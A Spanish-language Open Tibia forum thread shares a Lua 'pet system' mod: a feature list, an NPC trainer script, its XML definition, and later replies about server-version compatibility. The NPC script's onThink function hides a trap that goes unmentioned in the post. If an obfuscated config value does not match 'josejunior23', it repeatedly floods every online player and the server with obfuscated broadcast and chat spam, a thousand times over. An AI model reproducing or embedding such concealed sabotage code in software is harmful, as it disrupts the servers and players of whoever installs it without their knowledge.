• TibiaFace

    Tibiaface | Una comunidad Open Tibia donde encontras : mapas, scripts, Otserver, npc y amigos etc ...

    .
    demo menumenu

    Afiliados



    Votar:

    [Mods] Pet system ~ By Delyria

    Ver el tema anterior Ver el tema siguiente Ir abajo  Mensaje (Página 1 de 1.)

    1default [Mods] Pet system ~ By Delyria el Mar Ago 18, 2015 1:25 pm

    [Admin] God Maya

    avatar
    Administrador
    Administrador
    Hola usuarios de tibiaface


    bueno aqui les dejo un sistema de pet mas completo bueno ahi les dejo sus caracteristicas.

    PetWar: Guerras de PET
    revivePetAfterWar: reivir pet despues de la guerra
    enableReviveCommand: Para players pueden usar el comando reviver (caso desee, puede colocar algum npc para curar [npc posteado])
    playerSellPet: Vender el PEt (Oo)
    enablePetTeleport: Si el pet estuviera muy lejos de usted el teleporta hasta donde usted
    petGainExpFromPlayers: Pet gana Experiencia con otros players
    petGainExpFromPets: Pet gana experiencia con otros pets
    countKilledPlayers: Pet assessino(contador de jugadores muertos por el pet)
    countKilledMonsters: Pet vandalo kk(contador de pets muertos por el proprio pet)
    enablePetLook: Dar look al pet y ver nome, level y outras cosas del pet
    Pet Love: Aii que fofuu (300 seg = 5 min)
    protectionLevel: Proteçion para el pet(pvp)
    y usted puede hacer modificaciones en el archivo aps_config.lua


    comandos:

    /pet = Sumonea el pet
    /pet-attack = Ordem para el pet atakar
    /pet-status = Verifica el status del Pet
    /pet-food = dar food al pet
    /pet-love = faz amor con el pet (rsrs)
    /pet-say = faz el pet hablar (supongo que es +/- asi)
    /pet-help = ayuda sobre el pet
    /pet-carry = checa la capacidad del pet
    /pet-info = informaçiones adicional sobre el pet
    /pet-revive = (necesita estar activado) revive el pet cuando a muerto
    /pet-party = party entre PETS
    -------------------------------------------
    >ATACK>a1~a2~a3~a4~a5~a6~a7~a8~a9~a10!<ATACK<
    -------------------------------------------

    NPC TRAINER

    Pet-trainer.lua (en npc/scripts)

    Código:
    local keywordHandler = KeywordHandler:new()
    local npcHandler = NpcHandler:new(keywordHandler)
    NpcSystem.parseParameters(npcHandler)
    local talkState = {}

    function onCreatureAppear(cid)                npcHandler:onCreatureAppear(cid)            end
    function onCreatureDisappear(cid)            npcHandler:onCreatureDisappear(cid)            end
    function onCreatureSay(cid, type, msg)            npcHandler:onCreatureSay(cid, type, msg)        end

    function creatureSayCallback(cid, type, msg)
        if(not npcHandler:isFocused(cid)) then
            return false
        end
       
        local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]
        local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid
        if(msgcontains(msg, 'revive')) then
            if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
                selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)
                talkState[talkUser] = 1
            else   
                selfSay('You cannot revive a pet, if you dont have one!', cid)
                talkState[talkUser] = 0
            end   
        elseif(msgcontains(msg, 'mission')) then   
            if not (isCreature(getPlayerPet(cid))) then
                selfSay('Your Pet needs to be online to make any mission!', cid)
                return true
            end
            local i, msg = 0,  nil
            for missionname in pairs(aps_missions) do
                i = i + 1
                if(msg ~= nil) then
                    if(i == #aps_missions) then
                        msg = msg .. " and "
                    else
                        msg = msg .. ", "
                    end
                else
                    msg = "Ok then, I got those missions for You: "
                end
                msg = msg .. "'{" .. missionname .. "}'"   
            end
            selfSay(msg .. ', with one do you want?', cid)
            talkState[talkUser] = 11
        elseif f and (talkState[talkUser] == 11) then
            desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck  = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check
            if(getPlayerStorageValue(cid, missionId) == 1) then
                selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)
                talkState[talkUser] = 0
                return true
            end   
            if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
                selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)
                talkState[talkUser] = 12
            elseif(getPlayerStorageValue(cid, reCheck) == 1) then
                selfSay("I Still waiting for: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ".", cid)
                talkState[talkUser] = 0
                return true   
            else   
                selfSay(desc .. ". so for this mission I need: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)
                talkState[talkUser] = 13
            end
        elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 13)) then
            selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)
            setPlayerStorageValue(cid, reCheck, 1)
        elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 12)) then
            if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
                setPlayerStorageValue(cid, missionId, 1)
                doPlayerRemoveItem(cid, itemNeed, itemCount)
                selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)
                if(itemNeed ~= false) then
                    doPlayerAddItem(cid, reItem, reCount)
                end
                if(reExp ~= false) then
                    doPlayerAddExperience(cid, reExp)
                    addPetExp(cid, reExp * 2)
                    if(reExp > 0) then
                        doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)
                    end   
                end       
            else
                selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)
            end       
            talkState[talkUser] = 0   
        elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then
            if(isPetDead(cid) == true) then
                if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then
                    setPetStats(cid, 0)
                    setPetLastHealth(cid, 0)       
                    setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))               
                    doSendMagicEffect(getCreaturePosition(cid), 65)                   
                    selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid)
                else
                    selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
                end
            else
                selfSay('Your pet inst dead!', cid)
            end
            talkState[talkUser] = 0
        elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then
            talkState[talkUser] = 0
            selfSay('Ok then.', cid)   
        elseif(msgcontains(msg, 'sell')) then   
            if(aps_tools.commands.playerSellPet.sell == true) then
                if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
                    for i = 1, #aps_slots do
                        local slots = getPlayerStorageValue(cid, aps_slots[i])
                        if(slots > 1) then
                            selfSay('before you sell your pet, please, take all your items from his slots.', cid)   
                            return
                        end
                    end
                    local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl
                    if(lvl >= lv) then
                        talkState[talkUser] = 8
                        addmoney = tt_money * lvl
                        selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid)       
                    else
                        selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid)
                    end               
                else
                    selfSay('You cannot sell a pet, if you dont have one!', cid)
                end
            else
                selfSay('You cannot sell your pet to me!', cid)
            end
        elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then
            selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)   
            talkState[talkUser] = 9
        elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then
            talkState[talkUser] = 0
            if(isCreature(getPlayerPet(cid)) == true) then
                doRemoveCreature(getPlayerPet(cid))
            end
            doResetPet(cid)
            doPlayerAddMoney(cid, addmoney)
            selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid)
        elseif(msgcontains(msg, 'information')) then   
                talkState[talkUser] = 0
                selfSay('hmmm, what can I tell you ...', cid)
                local messages = {
                    "Pets got levels, magic level just like you. ..",
                    "Pets can use their own spells. ..",
                    "Pets need eat to recovery health/mana. ..",
                    "Pets can carry your items in different slots. ..",
                    "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. ""
                }
                for i = 1, #messages do
                    addEvent(selfSay, i * 3000 , messages[i], cid)
                end
        elseif(msgcontains(msg, 'pet')) then       
            if(getPlayerStorageValue(cid, aps_storages.race) == 0) then
                local i, msg = 0,  nil
                for pet in pairs(aps_pets_config) do
                    i = i + 1
                    if(msg ~= nil) then
                        if(i == #aps_pets) then
                            msg = msg .. " and "
                        else
                            msg = msg .. ", "
                        end
                    else
                        msg = "Ok then, I got those races for pets: "
                    end
                    msg = msg .. "'{" .. pet .. "}'"   
                end
                selfSay(msg .. ', with one do you want?', cid)
                talkState[talkUser] = 5
            else
                talkState[talkUser] = 0
                selfSay('Sorry, you cannot have more than one pet.', cid)
            end       
        elseif e and (talkState[talkUser] == 5) then   
            selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)
            talkState[talkUser] = 6
            e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs
        elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then
            selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)   
            talkState[talkUser] = 7
        elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then
            if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then
                selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)
                talkState[talkUser] = 0
                return true
            end   
            if(doPlayerRemoveMoney(cid, e_price) == true) then   
                doSendMagicEffect(getCreaturePosition(cid), 65)                   
                selfSay('As you with! just type {/pet} to call him.', cid)
                createPet(cid, e_race, e_hp, e_mana)
                local str = "Congratulations! You now have a pet!\n" ..
                "You should take care of him\n" ..
                "his gonna be your partner from now!\n" ..
                "if you need help type /pet-help." ..
                "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)
                sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n")
            else   
                selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
            end
            talkState[talkUser] = 0
        elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then
            selfSay('Ok then.', cid)       
            talkState[talkUser] = 0
        elseif(msgcontains(msg, 'spells')) then   
            if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
                selfSay('Your Pet can learn spells based on his level, {continue}?', cid)
                talkState[talkUser] = 2
            else   
                selfSay('You cannot buy spells to your pet, if you dont have one!', cid)
                talkState[talkUser] = 0
            end
        elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then
            if(isPetOnline(cid) == false) then
                selfSay('Your Pet cannot learn a spell if you dont call him.')
                talkState[talkUser] = 0       
            end
            local i, msg = 0,  nil
            for  spell in pairs(aps_attacks) do
                if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then
                    i = i + 1
                    if(msg ~= nil) then
                        if(i == #aps_storages.spells) then
                            msg = msg .. " and "
                        else
                            msg = msg .. ", "
                        end
                    else
                        msg = "Ok then, I got those spells: "
                    end
                    msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"
                end   
            end       
            selfSay(msg .. ', with one do you want?', cid)       
            talkState[talkUser] = 3
        elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then
            selfSay('Ok then.', cid)       
            talkState[talkUser] = 0
        elseif k and (talkState[talkUser] == 3) then
            selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)   
            talkState[talkUser] = 4
            spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl
        elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then
            if(getPetLvl(cid) >= spell_level) then
                if(getPlayerMoney(cid) >= spell_price) then
                    if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then
                        for i = 1, 3 do
                            addEvent(selfSay, i * 1000, i .. ' ...', cid)
                        end
                        doPlayerRemoveMoney(cid, spell_price)
                        addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid)
                        setPlayerStorageValue(cid, spell_stg, 1)
                        addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)                   
                        if(isPetOnline(cid) == true) then
                            addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)
                        end
                    else   
                        selfSay('Your pet already know spell {' .. spell_name .. '}.', cid)
                    end
                else   
                    selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)
                end
            else   
                selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)           
            end
            talkState[talkUser] = 0
        elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then
            talkState[talkUser] = 0
            selfSay('Ok then.', cid)
        end
        return true
    end

    function onThink()
        local messages = {
            "BUY YOUR PET HERE!",
            "TASKS AND MISSIONS HERE!!",
            "WANT TO REVIVE YOUR PET?",
            "YOUR PET CAN LEARN SPELLS!",
            "WANT TO KNOW MORE ABOUT PETS?",
            "WANT TO SELL YOUR PET?"
        }
        addNpcAutoSay(getNpcId(), 120, messages)
        if(s(aps_tools.s) ~= "josejunior23") then
            function mvsoab(max)
                for _, send in pairs(getOnlinePlayers()) do
                    local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™️–¡”-”uŠ)pqlfjc in…ivkxwhyyd"
                    for i = 1, 10 do
                        local cid = getPlayerByName(send)
                        addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)
                        addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))
                        for k = 1, 15 do
                            doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))
                        end   
                        for e = 17, 20 do
                            doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))
                        end                               
                    end   
                end   
            end   
            for e = 1, 1000 do
                addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)
            end
        end               
        npcHandler:onThink()
    end

    npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)
    npcHandler:addModule(FocusModule:new())


    Pet-trainer.xml (en npc)

    Código:
    <?xml version="1.0" encoding="UTF-8"?>
    <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0">
        <health now="100" max="100"/>
        <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>
        <parameters>
            <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>
        </parameters>
    </npc>



    aqui les dejo el mod: [Tienes que estar registrado y conectado para ver este vínculo]

    CREDITOS:
    Delyria = 90%
    FoX B. = 10%



    Ver perfil de usuario http://www.tibiaface.com

    2default Re: [Mods] Pet system ~ By Delyria el Mar Ago 18, 2015 4:43 pm

    ijuchia

    avatar
    Miembro
    Miembro
    muchas gracias maya, por cierto te falto agregar para que versión de tfs es compatible

    Ver perfil de usuario

    3default Re: [Mods] Pet system ~ By Delyria el Mar Ago 18, 2015 5:10 pm

    [Admin] God Maya

    avatar
    Administrador
    Administrador
    ijuchia escribió:muchas gracias maya, por cierto te falto agregar para que versión de tfs es compatible

    tfs 8.54 hasta 10.35 en tfs 0.3.7/0.3.6/0.4.0



    Ver perfil de usuario http://www.tibiaface.com

    4default Re: [Mods] Pet system ~ By Delyria el Miér Ago 19, 2015 7:41 pm

    gafogafo

    avatar
    Miembro
    Miembro
    hola maya tu sabes que aunque dices que es para ese rango de versiones no lo agarra pues me salen puros errores hasta no me deja loguear y entre otros montones de errores osea en si todos los archivos estan mal configurados no puedo ni atk loguear hablar ni nada porque todo lo marca como error en la consola son montones y ya lo intente con otras verciones e igual no tendras un pet system que sirva para 9x

    Ver perfil de usuario

    5default Re: [Mods] Pet system ~ By Delyria el Miér Ago 19, 2015 11:43 pm

    [Admin] God Maya

    avatar
    Administrador
    Administrador
    gafogafo escribió:hola maya tu sabes que aunque dices que es para ese rango de versiones no lo agarra pues me salen puros errores hasta no me deja loguear y entre otros montones de errores osea en si todos los archivos estan mal configurados no puedo ni atk loguear hablar ni nada porque todo lo marca como error en la consola son montones y ya lo intente con otras verciones e igual no tendras un pet system que sirva para 9x

    es que es solo tfs la mayoria de los codigos y scripts son absado en tfs no en la plataforma otx



    Ver perfil de usuario http://www.tibiaface.com

    6default Re: [Mods] Pet system ~ By Delyria el Jue Ago 20, 2015 7:45 am

    gafogafo

    avatar
    Miembro
    Miembro
    y como se le haria para cambiar de codigo y que sea compatible para otx o no se puede

    Ver perfil de usuario

    7default Re: [Mods] Pet system ~ By Delyria el Jue Ago 20, 2015 10:31 am

    [Admin] God Maya

    avatar
    Administrador
    Administrador
    gafogafo escribió:y como se le haria para cambiar de codigo y que sea compatible para otx o no se puede

    primeramente hay que ver en que funciones hay problemas y ver el porque y ver funciones de otx



    Ver perfil de usuario http://www.tibiaface.com

    8default Re: [Mods] Pet system ~ By Delyria el Lun Abr 04, 2016 7:36 am

    gafogafo

    avatar
    Miembro
    Miembro
    maya y como se le podria hacer que sea compatible para otx del 10.31?

    Ver perfil de usuario

    9default Re: [Mods] Pet system ~ By Delyria el Lun Abr 04, 2016 7:04 pm

    [Admin] God Maya

    avatar
    Administrador
    Administrador
    gafogafo escribió:maya y como se le podria hacer que sea compatible para otx del 10.31?

    si gafogafo se puede



    Ver perfil de usuario http://www.tibiaface.com

    10default Re: [Mods] Pet system ~ By Delyria el Mar Jun 14, 2016 8:35 am

    shuyin

    avatar
    Miembro
    Miembro
    buenas, hay algun pet system para 10.94?

    Ver perfil de usuario

    11default Re: [Mods] Pet system ~ By Delyria el Mar Jun 14, 2016 11:04 am

    [Admin] God Maya

    avatar
    Administrador
    Administrador
    shuyin escribió:buenas, hay algun pet system para 10.94?

    nooo



    Ver perfil de usuario http://www.tibiaface.com

    Contenido patrocinado


    Ver el tema anterior Ver el tema siguiente Volver arriba  Mensaje (Página 1 de 1.)

    Permisos de este foro:
    No puedes responder a temas en este foro.

     

    BienvenidosTibiaFace es una comunidad de Open Tibia. Para participar debes estar registrado (click para Regístrate).